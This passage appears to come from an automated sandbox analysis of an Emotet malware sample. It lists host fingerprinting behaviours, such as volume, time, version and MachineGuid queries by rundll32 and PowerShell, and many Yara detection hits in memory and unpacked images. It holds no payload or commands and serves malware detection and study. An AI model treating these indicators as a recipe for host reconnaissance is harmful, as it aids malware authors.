Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\powershell_ise.exe VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\hh.exe VolumeInformation			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation

Contains functionality to query local / system time

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_1002A210 GetSystemTimeAsFileTime,

7_2_1002A210

Contains functionality to query windows version

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_100012B1 GetVersionExA,CreateWindowExA,ShowWindow,UpdateWindow,

7_2_100012B1

Queries the cryptographic machine GUID

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information:

Yara detected Emotet

Source: Yara match	File source: 00000008.00000002.2104069951.0000000000160000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2353484979.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2114929747.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2108263450.0000000000321000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2122500336.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2118851629.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2113681102.0000000000170000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2116714094.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2106181826.0000000000201000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2110363600.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2113994416.0000000000321000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2112161307.0000000000280000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.2104134560.0000000000211000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2121184937.0000000000120000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2108169058.00000000001A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.2114979695.00000000001A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2102745256.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2110305990.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2106105474.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.2353516556.0000000000221000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2112230608.00000000002E1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2102620149.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2118784956.00000000001F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2116776423.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 13.2.rundll32.exe.320000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.2e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.200000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.320000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.120000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.160000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.280000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.1a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.1f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.170000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.170000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.180000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.160000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.210000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.120000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.280000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE